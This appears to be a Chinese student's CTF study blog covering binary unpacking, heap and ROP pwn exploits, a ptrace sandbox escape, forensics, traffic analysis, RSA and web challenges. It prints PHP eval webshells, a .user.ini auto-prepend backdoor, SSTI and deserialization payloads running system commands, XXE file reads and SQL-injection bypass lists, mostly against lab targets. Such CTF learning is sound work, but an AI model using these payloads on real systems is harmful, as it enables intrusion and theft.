先用dbg打开,F8步入发现第一个esp发生变化(除了载入时第一次变红)在ESP硬件下断点。

F9达到jne,继续F8,ret后面返回的就是oep的入口。

oep的入口

在这里dump就可以了

把第一步转储的修复

生成00.aspack_dump_SCY.exe用IDA打开就是脱壳了的。
先用dbg打开,F8步入发现第一个esp发生变化(除了载入时第一次变红)在ESP硬件下断点。

F9达到jne,继续F8,ret后面返回的就是oep的入口。

oep的入口

在这里dump就可以了

把第一步转储的修复

生成00.aspack_dump_SCY.exe用IDA打开就是脱壳了的。
感谢霍爷教我upx脱壳
第一步设置入口处断点,只保留入口处断点

调试–>运行 ,达到pushad

在堆栈区下断点

F9运行到popad

看到循环F4跳过

接着看到一大部分寄存器初始化

F7单步进入

达到入口

用syclla

先点击转储,出现一个dump.exe在用IAT两次确定后获取导入,最后修复转储是选择刚刚的dump.exe就可以得到dump_SCY.exe,用IDA打开

成功脱壳。
变异upx
这个是0xGame2025的一个upx,用工具根本脱不了,手托也好难。
这里记录一下
首先这个是个elf文件只能到kali上动调,而且这里还有个细节问题,

e_type字段的可能值:
0x01 = ET_REL - 可重定位文件
0x02 = ET_EXEC - 可执行文件
0x03 = ET_DYN - 共享目标文件
0x04 = ET_CORE - 核心转储文件
我们这里03会导致远程连接出现问题要共享库的参数之类的,所以行不通,要把03改成02,但是放在虚拟记得文件不能改,只要改放如IDA的附件,不然也会出错。


flag长度是56
运行debug

用脚本dump
在IDA内运行
1 | # -*- coding: utf-8 -*- |

找到漏洞点在exit处
1 | unsigned int __cdecl sub_80488C0(unsigned __int8 a1) |
1 | **((_DWORD **)&unk_804B080 + a1) + v2 >= (unsigned int)(*((_DWORD *)&unk_804B080 + a1) - 4) |
这个判断处在漏洞,它是通过限制修改的长度,使得我们自己创建的chunk地址加上修改长度不能超过系统创建的chunk的长度。
但是这种限制是可以绕过的。
虚拟机高级会自己检查出堆溢出,等我配个低级的虚拟机再继续来写,不然无法调试。
安装好了ubuntu20继续做题。
来动调看看变化,还是有自动检查,不知道什么问题。只能先放这里了,目前只只能理论上理解这题了。
附个佬的exp,再用图来解释攻击过程。
1 | from pwn import * |
Step 1:连续 add 三次后的初始布局(A 与 S 紧挨)
1 | +----------------------+ <-- 0x8ee0000 |
Step 2:free(0) 后,A0+S0 合并为空闲(低地址形成大洞)
1 | +----------------------+ <-- 0x8ee0000 |
Step 3:再次 add(0x100, "vvvv", 0x100, "gggg")
新的 主chunk3(0x100) 优先复用低地址的 FREE(把洞吃掉);
但配套的 系统chunk3(0x100) 因附近无相邻空间,只能从 TOP CHUNK(高地址)再切一块出来,因此被甩到更远处。
1 | +----------------------+ <-- 0x8ee0000 |
Step 4:edit(3,0x200, ...) 溢出伪造
size=0x89 的 fake chunk,并在 fd 指针写入 free@got。1 | +----------------------+ <-- 0x8ee0000 |
step 5:show(1) → 泄露 free@libc
free_got,show(1) 会打印出 GOT 表项内容(真实的 free 地址)。free_addr - libc.sym['free'] 算出 libc 基址。Step 6:edit(1,0x8,p32(system_addr))
free@got 覆写成 system。Step 7:free(2)
/bin/sh;free(2) 实际调用了 system("/bin/sh") → getshell 🎉1 | __int64 __fastcall sub_E3A(int a1, unsigned int a2) |
在edit函数中有off-by-one漏洞
exp
1 | from pwn import * |
详细来解释攻击过程
1 | add(0x18) #0 |
1 | pwndbg> heap |
1 | +----------------------+ <-- A (index 0) |
1 | payload = b"a"*0x18+b"\xe1" |
1 | pwndbg> heap |
可以看到chunk1的大小就被改了
怎么改变的呢?
0x18会自动补全成0x20此时覆盖掉了pre size,由于off-by-one,我们写入0xe1就可以覆盖chunk1的size从而改变chunk1的大小。
这样做有什么用?
chunk1大小改变后chunk1的用户区就会覆盖到chunk2的头部。
1 | free(1) #free(B) → B(0xe0) 进 unsorted,fd/bk 写入 libc 地址 |
1 | pwndbg> heap |
这里补充一下
0x80(含 chunk header)的空闲块 → 放入 fastbin;0x80 且小于等于 0x400 → 放入 small bin,但第一次 free 先进入 unsorted bin;👉 总结:一个 chunk 进 unsorted 还是 fastbin,取决于它的 size(含 header)
这样做有什么用?
由上一步chunk1的用户区覆盖到chunk2的头部,当 chunk1 进 unsorted 时,glibc 会在这个空闲块的用户区最前面写入 fd/bk 指针,指向 main_arena,这些指针是 libc 地址。
由于 chunk1 被“扩成了 0xe0”,它的“用户区”已经覆盖到 chunk2的头和部分用户区;于是 unsorted 的 fd/bk 指针就落在了 C 的用户区里(重叠泄露的关键)
这时 add(0x88) show(2) 将chunk1申请回来再,打印 chunk2,就能读到 main_arena 相关指针,从而泄露 libc。
远程是可以泄露的,但是在本地调试的时候add(0x88)的时候会回直接申请一个新堆块,导致没成功,现在还没找到解决办法,先放这里。
ai一把出直接给exp
1 | def rol(x, n): |
1 | // positive sp value has been detected, the output may be wrong! |
点击main,发现有花指令,改一下
先给出修改好的
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
1 | void __fastcall sub_55A7A6AAA1A9(unsigned int *a1, _DWORD *a2) |
这是改好的
现在来说怎么改,点击进来时你可以发现都是没定义的,直接改patch根本不行,我就先用kali远程调试了一下,让数据重新加载了一下。
1 | .text:0000000000001308 main: ; DATA XREF: start+21↑o |
1 | .text:00000000000011A9 loc_11A9: ; CODE XREF: .text:00000000000013D1↓p |
重新加载后
1 | .text:0000563C791E1308 main: ; DATA XREF: start+21↑o |
1 | .text:000055E1FCA101A9 endbr64 |
把类似这样的nop(在汇编标出) ,P重定义,tab就得到伪代码了。
1 | .text:000055E1FCA101BB ; --------------------------------------------------------------------------- |
ok,现在可以给exp了
1 | def reverse_encrypt(): |
1 | Flag: b3d06a66f8aa86e3e6390f615e389e55 |
注意一下到了v12要将其覆盖成13就可以了。
1 | from pwn import * |
1 | myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025} |
我当时写的时候
1 | myfz{hrpa_pfxddi_ypgm_xxcqkwyj_dkzcvz_2025} |
我把’-‘算计去了,结果以为循环是 7 13 5 19 -15 -3 -17,没解出来了。
看有的师傅用ai深度研究梭哈了
1 | flag{easy_caesar_with_multiple_shifts_2025} |
原理学习:
什么时候用?
找不到简单指令(如 pop rdi; ret, pop rsi; ret, pop rdx; ret)的情况下。
所以我们看到_libc_csu_init这个函数
1 | .text:0000000000401250 __libc_csu_init proc near ; DATA XREF: _start+1A↑o |
可以看到rdx = r14,rsi = r13,edi = r12d,可以看到rdx,rsi,edi可以通过r14, r13,r12d来控制,从而我们就可以解决这些指令缺少的问
题。
具体讲一下怎么利用的:
当执行__libc_csu_init(.text:0000000000401285 jz short loc_4012A6)是先执行loc_4012A6:,再loc_401290:
1 | .text:00000000004012A6 loc_4012A6: ; CODE XREF: __libc_csu_init+35↑j |
1 | .text:0000000000401290 loc_401290: ; CODE XREF: __libc_csu_init+54↓j |
我们要他继续往下执行所以我们要是其为真,因此rbp, rbx得相等,我们先设置rbp = 1,rbx = 0;执行到add rbx, 1 –> rbx = 1,正好达
到rbp = rbx,r14设置成原本要在rdx要的参数,r13和r12也同理。
注释:由于高32位基本为0 ,所以 rdi = edi = r12d。
1 | .text:0000000000401299 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8] |
我们只要把r15设置成我们需要执行的function,就可以 call function 。(r15+rbx * 8 = r15+0 * 8 = r15)
题目
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | ssize_t vuln() |
存在栈溢出。
1 | Arch: amd64-64-little |
开启NX不能直接注入shellcode
这里找不到pop rdi; ret, pop rsi; ret, pop rdx; ret但是有__libc_csu_init
1 | Gadgets information |
我们可以利用栈溢出构造ROP链进行攻击
1 | from pwn import* |
参考blog(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)
mian
1 | void __fastcall __noreturn main(int a1, char **a2, char **a3) |
sub_2A31()
1 | unsigned __int64 sub_2A31() |
sub_2B0F
1 | __int64 sub_2B0F() |
start_routine
1 | unsigned __int64 __fastcall start_routine(void *a1) |
这里在start_routine的printf(byte_50A0);有格式化字符串漏洞很明显我们要把读入的flag通过的格式化字符串泄露出来。
可是在sub_2B0F读入的文件名对flag进行了过滤。这里就要了解一下进程和线程的关系了。
线程与进程的基本关系(复习)
线程竞争(Race Condition)的定义和原因
filename),且没有同步机制(如锁)时,程序的执行结果依赖于线程调度的时序,导致不一致或错误。1 | 时间 事件 |
再用格式化字符串泄露flag
1 | hello aaaa0x71a74c1fe8a0(nil)(nil)0x6(nil)0x10000000000x3000003e80x2000x36c63f9b4b69cc070x2bc422698ba00f710x80656d6974(nil)(nil)(nil)(nil)(nil)(nil)0x20(nil)0x36c63f9b4b69cc070x2bc422698ba00f710x10102464c457f(nil)0x1003e00030x12400x400x41980x380040000000000x1c001d0040000d0x4000000060x400x400x400x2d80x2d80x80x4000000030x318 ,your file read done! |
把16进制
1 | 0x80656d6974 ---> time |
来算一下它在那个位置
1 | hello aaaa |
文件在12的位置,但是我们不知道内容在什么位置,我在本地创建一个fake:aaaa来算一下
1 | hello aaaa |
在22的位置
1 | from pwn import * |
理论上是可以的但是没通,实际上也是可以的,因为别的师傅打出来,我没复现出来。
原作者的exp(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)
1 | from pwn import * |
官方exp
1 | from pwn import * |
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
在这里我们可以看到父线程开启了sandbox的保护,子进程没有但是子进程是个无限循环。
1 | mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL |
在0xDEADC0DE000上创建了RWX(可读,可写,可执行)
1 | $ echo -ne "expected_input" | seccomp-tools dump ./smallbox |
只能用ptrace
所以攻击思路就是在子进程里用ORW,在到父进程执行,具体怎么绕过无限循环能先看exp(大佬原创的,我纯黏贴)
1 | from pwn import * |
ptrace请求类型详解
PTRACE_ATTACH (16)1 | asm(shellcraft.ptrace(16, "r14")) |
r14:目标进程PID(子进程)__NR_ptrace = 101,请求类型为16PTRACE_GETREGS (12)1 | asm(shellcraft.ptrace(12, "r14", 0, 0xDEADC0DE000+0x500)) |
r14:目标进程PID0:忽略参数0xDEADC0DE500:寄存器数据存储位置0xDEADC0DE500位置sizeof(user_regs_struct) = 216字节PTRACE_POKETEXT (5)1 | asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000, 0x010101010101b848)) |
r14:目标进程PID0xDEADC0DE000:写入地址0x010101010101b848:写入的8字节数据4.PTRACE_SETREGS (13)
1 | asm(shellcraft.ptrace(13, "r14", 0, 0xDEADC0DE000+0x500)) |
r14:目标进程PID0:忽略参数0xDEADC0DE500:寄存器数据来源位置0xDEADC0DE500处的寄存器数据恢复到子进程PTRACE_DETACH (17)python
1 | asm(shellcraft.ptrace(17, "r14", 0, 0)) |
r14:目标进程PID0:忽略参数0:发送给子进程的信号(0表示无信号)阶段1: 附加和控制子进程
PTRACE_ATTACH(16)
延时循环
1 | mov rcx,0x500000000 |
阶段2: 准备内存操作
PTRACE_GETREGS(12)
调整父进程栈指针
asm
1 | mov rsp,0xDEADC0DE588 |
阶段3: 注入恶意代码
8次PTRACE_POKETEXT(5)调用
向子进程内存写入64字节ORW shellcode
覆盖子进程原来的循环代码:
asm
1 | ; 原始代码 (被覆盖) |
阶段4: 恢复执行
阶段5: 维持进程
父进程挂起
asm
1 | jmp $ ; 无限循环 |
1 | 0xDEADC0DE000: |
我就了解到这里了,还是太菜,多学吧wuuu~~~
官方exp
1 | from pwn import * |
这里先放一个虚拟机的配置,将附件解压后点击vmx文件就可以打开虚拟机了。











畸行的爱解压密码:
Parloo&zgsfsys&onefox&solar**juyt

这里有四个虚拟机win7,win10,mysql,wedserver
先看webserver
先history命令,查看可以发现开启了docker环境,我们在升级到root,再history,和它一样开启docker
1 | docker start ec87eb8a81c7 6801404902b1 192686b818fc |


列出所有TCP协议的网络连接及其状态
1 | netstat -anplt |

看到nginx,去看看他的日志


看到shell.php可以确定ip
1 | 192.168.31.240 |
这题据说有bug,都是跟着其他师傅复现的。
先看docker开始的环境,再进入有wendata的环境,有clean.sh很明显shell脚本。
1 | docker ps |

nc的反连地址
1 | 192.168.31.11 |
先根据暴力破解一般是有登录,ssh等才能被破解
根据phpmyadmin最具破解力
Docker容器会把写到容器标准输出
1 | docker logs phpmyadmin |

post ;时间密集;登录界面
1 | 2025:03:05:58 |
这个flag在windows上
大佬们有everything一搜索就搜索出来了,我是到任务计划程序去看的。

1 | palu{pc3_zgsfqwerlkssaw} |
再flag所在的地方的文件里看到C:\Program Files (x86)\Microsoft\a.bat

1 | palu{nizhidaowoyouduoainima} |
这里要用Navicat
我的navicat连不上mysql数据库,这题先放这。
钓鱼一般都是聊天

在回收站里去找

1 | certutil -hashfile "C:\Users\Administrator\Desktop\简历.zip" MD5 |
效验md5
1 | a69df5bdfef664d0a22b7d8b62c44718 |
在找ip的时候会留意到shell.php下面有个a.php

1 | 00232 |
1 | find / -type f -name "*.php" |
全局查找一下php文件太多了
1 | find / -type f -name "shell.php" |
猜一下shell.php

1 | hack |
这题据说环境有问题,也放这里
先用D盾查

在用mimikatz跑出hash
先cmd用管理员身份运行,然后输入下面两行命令
1 | cd C:\Users\Administrator\Desktop\mimikatz_trunk\x64 进入exe所在目录 |
得到
1 | RID : 000003ea (1002) |

要付费,解出来是wmx_love
1 | wmx_love |
先分析简历exe

得到黑客的名字n0k4u
去github上找



3834239649是个QQ号


我们找到了github的地址,知道了github就可以泄露出邮箱地址
直接搜通过Github用户名溯源个人邮箱可以找到参考文献链接
1 | https://api.github.com/users/<name>/events/public 把name换成 |

这里没出来,感觉是不是删了还是怎么搞的别的师傅都出来了
1 | n0k4u@outlook.com |
到这里畸形的爱就复现完了
开始RSA的学习
RSA加密过程
1 | p = ;q = ;(两个质数) |
(d * e) mod φ(n) = 1
公钥: (e, n)
私钥: (d, n)
解密过程
1 | m ≡ c^d (mod n) |
例题1
1 | from Crypto.Util.number import getPrime, bytes_to_long |
1 | x = 1 + n_phi + n_phi^2 |
得到私钥后就可以解密了
1 | from math import isqrt |
开始流量学习。记录做题为主
先过滤http

http追踪流

看到ssl.log就是key。

将其另存至本地。



导入秘钥解密。

多了几条http
追踪http流

就可以得到想要的东西。
这也是个ssl
1 | tcp contains "KEY" |
找key



[base64转PNG](阿图工具箱 - Base64转图片工具 - 免费在线Base64解码图片转换器)

[提取文字](免費在線OCR - 將PDF轉換為Word或圖像轉換為文本)将其保存为key.txt
1 | -----BEGIN RSA PRIVATE KEY----- |
将key.txt导入

发现多出现了几条http的包

追踪一下http流就可以得到最终信息了

搜素flag。
在FTP选择最总TCP流。


发现RAR,binwalk提取一下,爆破密码。

解压即可得到flag。
1 | http.request.method==POST |
过滤出http post的数据包


发现可疑的文件,继续看。


1 | RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc base64 -->D:\wamp64\www\upload\6666.jpg |
紧接着是FF D8发现是JPG的开头复制到010里面保存。

找到密码
1 | Th1s_1s_p4sswd_!!! |
继续往下看


发现zip头
提取放到010保存到zip,用密码解压即可得到flag
问一:
该网站使用了______认证方式
http contains “login”过滤先追踪http流


可以看到是jwt
问2:
id和username是______
先http contains “whoami”过滤,whoami(查看当前系统用户的命令)的流量包。

追踪命令成功的http流,过滤把tokenbase64解密

id : 10087 username:admin
身为一个网安生我感觉渗透应该是必学的,所以从现在开始我开始我的渗透之路了。
1 | ls //列出当前目录中的文件和子目录 |
使用Whois查询域名信息
1 | whois example.com |
WHOIS 查询能获取哪些信息:
查询返回的信息会因顶级域名和注册商的不同而有所差异,但通常包含以下内容:
ok (正常), clientHold (注册商暂停解析), serverHold (注册局暂停解析), pendingDelete (等待删除) 等。这反映了域名的当前管理状态。使用Dig进行DNS查询
1 | dig [@server] [options] [name] [type] |
[@server] (可选): 指定要查询的 DNS 服务器的 IP 地址或主机名。如果省略,则使用系统 /etc/resolv.conf 文件中配置的 DNS 服务器。dig @8.8.8.8 example.com[options] (可选): 控制 dig 行为和输出的各种选项,以 + 开头。+short: 只显示最精简的答案(通常是 IP 地址或目标域名)。+noall: 关闭所有输出部分(通常与 +answer 等组合使用)。+answer: 只显示答案部分 (最常用!)。+stats: 显示查询统计信息(耗时、大小等)。+trace: 模拟 DNS 递归解析的完整过程,从根域名服务器开始追踪。+nocmd: 不显示最初的命令和版本信息行。+nocomments: 不显示注释行。+tcp: 强制使用 TCP 协议进行查询(默认使用 UDP,在响应过大或需要区域传输时 TCP 是必需的)。-x: 进行反向 DNS 查询(根据 IP 查找域名),此时 [name] 应为 IP 地址,[type] 通常省略或为 PTR。[name] (通常需要): 要查询的域名(如 example.com, www.google.com) 或 IP 地址(当使用 -x 时)。[type] (可选): 指定要查询的 DNS 记录类型。如果省略,默认为查询 A 记录。常见类型:A, AAAA, MX, CNAME, NS, TXT, SOA, PTR, ANY(查询所有记录,但通常被服务器限制或拒绝)。dig example.com MX, dig example.com NSdig 是 DNS 领域无可争议的瑞士军刀。它通过提供详细、可控、原始的 DNS 查询响应,使你能够:
Nmap的使用
-sS:TCP SYN 扫描(默认,需 root)-sT:TCP 全连接扫描(无需 root)-sU:UDP 扫描(需 sudo)-p:指定端口(-p 80,443 或 -p- 全端口)-sV:探测服务版本-O:猜测目标 OS-sn:Ping 扫描(不扫端口)--script=<脚本>:如 vuln(漏洞检测)、http-title(网页标题1 | # 基础扫描:SYN + 服务版本 |
感觉这样只学理论感觉不太行,以后的边练边学。
moectf2025
F12在源码中找到flag

F12查看源码看到flag的逻辑
1 | <script> |
我们可以通过在控制台发送信息来得到flag
1 | fetch('/test_talent?level=S', { |

用蚁剑,先右键添加数据,输入ip和端口,测试链接,再点击添加就成功了,密码是cmd

flag应该就藏在某个文件夹里面,反正我没找到,以后再看看。找到了在环境变量里面。
1 | ../../ |
../可以返回上级目录


用F12查看到Secret.php
访问Secret.php

用bp
header中添加上 Referer:https://www.Sycsecret.com


修改 User-Agent 为User-Agent: Syclover


127.0.0.1,所以我们可以利用X-Forwarded-For协议来伪造只需要在 header 添加 X-Forwarded-For:127.0.0.1,再次访问

1 | <?php |
取反符号 ‘ ~ ‘
1 | <?php |
得到
1 | %8C%86%8C%8B%9A%92 |
payload
1 | ?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0); |
1 | <?php |
继续
1 | <?php |
1 | %8C%86%8C%8B%9A%92 |
payload
1 | ?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98); |
1 | <?php |
1 | <?php |
文件包含漏洞
使用 PHP 封装器
| Wrapper | 用途 |
|---|---|
php://input |
读取 POST 数据,可执行代码 |
php://filter |
数据流过滤,用于读取文件源码 |
php://memory / php://temp |
内存数据流 |
data:// |
数据 URI,可嵌入代码 |
expect:// |
执行系统命令(极少见) |
payload1
1 | ?file=data://text/plain,<?php system("ls -la /"); ?> |
1 | <?php |
看到flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt
payload
1 | ?file=data://text/plain,<?php system("cat /flag-P9Mo56YCMkjhEzXSqnmPZ9sWCudQTs.txt"); ?> |

抓包
1 | GET /stone_golem HTTP/1.1 |
使用GET方法传递参数 key=xdsec
1 | GET /stone_golem?key=xdsec HTTP/1.1 |
1 | flag1:bW9lY3Rme0Mw |

1 | POST /cloud_weaver HTTP/1.1 |
1 | flag2: bjZyNDd1MTQ3 |

1 | GET /shadow_stalker HTTP/1.1 |
1 | flag3:MTBuNV95MHVy |

1 | GET /soul_discerner HTTP/1.1 |
1 | flag4:X2g3N1BfbDN2 |

1 | GET /heart_seal HTTP/1.1 |
1 | flag5:M2xfMTVfcjM0 |

1 | GET /pathfinder HTTP/1.1 |
1 | flag6:bGx5X2gxOWgh |
1 | 玉板铭文:阴阳逆乱,归墟可填。以"覆"代"取",塑吾新生 |
1 | import requests |
1 | fQ== |
1 | bW9lY3Rme0MwbjZyNDd1MTQ3 MTBuNV95MHVyX2g3N1BfbDN2M2xfMTVfcjM0bGx5X2gxOWghfQ== |
1 | moectf{C0n6r47u14710n5_y0ur_h77P_l3v3l_15_r34lly_h19h!} |
文件上传的题目
要求头部是FFD8FF,扩展名:.jpg
脚本生成一句话木马
1 | # 生成flag.jpg文件,头部为FFD8FF,后面接指定PHP代码 |
然后抓包,再send,有点要注意就是FFD8FF要在HEX里改一下,然后flag.jpg改成php再上传。
1 | POST /upload.php HTTP/1.1 |
最后用蚁剑连接一下后门就可以得到flag了。
1 | <?php |
a__destruct方法中使用eval()执行类属性$a的内容__destruct方法1 | <?php |
1 | URL编码后的序列化字符串: |
payload
1 | http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A15%3A%22system%28%27ls+%2F%27%29%3B%22%3B%7D |
1 | <?php |
看到flag
1 | <?php |
1 | http://127.0.0.1:58283/index.php/?a=O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22a%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D |
发送即可获得flag
1 | 你的名字是?(use ?name= in url) |
payload
1 | http://node4.anna.nssctf.cn:28531/ssti?name={{7*7}} |
1 | 欢迎 49 |
paylaod1
1 | http://node4.anna.nssctf.cn:28531/ssti?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}} |
1 | 欢迎 NSSCTF{6e72997c-2192-4ec3-98a1-3404123b90cd} |
1 | @app.route('/') |
首先验证是否存在SSTI漏洞,使用简单的数学表达式测试:
1 | http://127.0.0.1:62433/?username={{7*7}}&password=test |
1 | 阵法反馈 |
存在SSTI漏洞
Payload
1 | http://127.0.0.1:62433/?username={{().__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['open']('/flag').read()}}&password=any |
.user.ini 是 PHP 配置文件 php.ini 的补充文件。当通过 Web 服务器访问 PHP 页面时,PHP 会在当前执行的脚本所在目录及其上层目录中查找是否存在 .user.ini 文件。如果找到,便会将其中的配置指令合并到主 php.ini 设置中,并作为 CGI 或 FastCGI 进程的启动参数。
虽然 php.ini 限制了许多关键配置仅能在全局范围内修改,但 .user.ini 仍允许用户控制部分设置,其中之一便是 auto_prepend_file 指令。该指令用于指定一个文件,PHP 会在执行同一目录下的所有脚本之前自动包含该文件,使其成为脚本执行的预处理部分。
利用这一机制,攻击者可上传一个自定义的 .user.ini 文件,并通过设置 auto_prepend_file 指向某个包含恶意代码(如一句话木马)的文件。此后,只要访问该目录下的任何 PHP 脚本,都会自动加载该恶意文件,从而实现持久化的代码执行能力。为进一步完成攻击,攻击者通常还需上传一个包含恶意代码的预包含文件。
文件一
sh.jpg
1 | <?php @eval($_POST['cmd']); ?> |
文件二
.user.ini
1 | auto_prepend_file = sh.jpg |
用蚁剑连接即可
抓包
1 | GET /?format=json HTTP/1.1 |
发现网站并没有用复杂的技术来获取IP,而是简单地让的浏览器去调用一个第三方IP查询API
如果服务器信任客户端传来的某些HTTP头信息,就可能被欺骗。最常用的头就是 X-Forwarded-For (XFF)。
1 | GET / HTTP/1.1 |
1 | <?php |
hackbar send post payload
1 | a[]=a&b1[]=1&b2[]=2&c1=s878926199a&c2=s155964671a |
1 | <?php |
payload
1 | <?php |
payload2
1 | <?php |
xxe漏洞
1 | <!DOCTYPE foo [ |
输出
1 | <阵枢>引魂玉</阵枢> |
根据输出读取flag
1 | <!DOCTYPE foo [ |
1 | <!DOCTYPE foo [ |
正常的SQL语句
1 | SELECT * FROM users WHERE username = '输入的用户名' AND password = '输入的密码'; |
用户输入 admin 和 123456,生成的SQL语句为:
1 | SELECT * FROM users WHERE username = 'admin' AND password = '123456'; |
当我们输入 ‘ OR ‘1’=’1
1 | SELECT * FROM users WHERE username = '随便输入什么都行' AND password = '' OR '1'='1'; |
username = '随便输入什么都行' → False
password = '123456' → False
(False AND False) OR True —-> Ture
搬运佬的blog
参考链接https://blog.csdn.net/hxhxhxhxx/article/details/108020010
1 | ' or 1='1 |
asp aspx万能密码
1 | 1:”or “a”=”a |
PHP万能密码
1 | ‘or 1=1/* |
jsp 万能密码
1 | 1’or’1’=’1 |